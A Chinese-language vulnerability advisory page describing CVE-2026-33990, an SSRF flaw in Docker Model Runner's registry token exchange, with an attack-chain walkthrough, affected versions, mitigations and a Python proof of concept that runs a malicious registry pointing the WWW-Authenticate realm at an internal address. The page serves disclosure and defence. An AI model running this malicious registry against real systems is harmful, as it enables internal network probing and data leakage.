IPBUF安全漏洞报告
English
CVE-2026-33990 CVSS 9.1 严重

CVE-2026-33990 Docker Model Runner SSRF漏洞

披露日期: 2026-04-01

漏洞信息

漏洞编号
CVE-2026-33990
漏洞类型
SSRF (服务器端请求伪造)
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Docker Model Runner

相关标签

SSRFDocker Model RunnerCVE-2026-33990RCE信息泄露

漏洞概述

Docker Model Runner 1.1.25之前的版本在OCI registry token交换流程中存在SSRF漏洞。当拉取模型时,Model Runner未验证注册表WWW-Authenticate头中的realm URL,导致攻击者可诱导其向内部网络发送请求。攻击者可通过恶意注册表设置内部URL(如127.0.0.1),对内部服务发起任意GET请求并获取响应,甚至通过Bearer头中继数据,存在高机密性和完整性风险。

技术细节

Docker Model Runner在处理OCI registry token交换流程时存在服务器端请求伪造(SSRF)漏洞。其根本原因是软件在拉取模型过程中,解析并跟随注册表返回的WWW-Authenticate头中的realm URL时,缺乏对目标地址的scheme、hostname及IP范围的有效验证。攻击者可搭建恶意的OCI registry,并在响应头中将realm设置为内网地址(例如http://127.0.0.1:3000/)。当受害者主机上的Model Runner尝试拉取模型时,它会无条件地向该内网地址发起GET请求,并将获取的内部服务响应体完整反射给调用者。此外,由于token交换机制涉及Authorization: Bearer头,该漏洞还可能被利用将内网服务的敏感数据通过请求头中继回攻击者控制的注册表,导致严重的信息泄露。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意的OCI注册表服务器,准备包含恶意payload的响应头。
STEP 2
步骤2
攻击者配置注册表,在返回的401响应中设置WWW-Authenticate头,将realm参数指向受害者内网的敏感地址(如http://127.0.0.1:3000)。
STEP 3
步骤3
受害者使用存在漏洞的Docker Model Runner尝试从攻击者的注册表拉取模型镜像。
STEP 4
步骤4
Model Runner接收到401响应,解析realm参数并无验证地向该内网地址发起GET请求获取Token。
STEP 5
步骤5
内网服务响应请求,Model Runner将响应内容或通过Authorization头将数据泄露回攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import http.server import socketserver # PoC for CVE-2026-33990: Malicious OCI Registry Simulation # This script simulates a registry that forces DMR to request an internal URL. PORT = 5555 INTERNAL_TARGET = "http://127.0.0.1:22/ssh-bait" # Example internal service class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Respond with 401 Unauthorized to trigger the token exchange flow # The 'realm' parameter contains the SSRF payload self.send_response(401) auth_header = f'Bearer realm="{INTERNAL_TARGET}",service="registry.docker.io",scope="repository:library/alpine:pull"' self.send_header('WWW-Authenticate', auth_header) self.end_headers() self.wfile.write(b"401 Unauthorized - Triggering SSRF via realm") with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"Running malicious registry on port {PORT}") print(f"Attempting to force connection to: {INTERNAL_TARGET}") httpd.serve_forever()

影响范围

Docker Model Runner < 1.1.25

防御指南

临时缓解措施
对于无法立即升级的用户,Docker Desktop用户应启用增强容器隔离(ECI)以阻止容器访问Model Runner。此外,应避免在特定配置下将Docker Model Runner通过TCP直接暴露给localhost,以减少被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表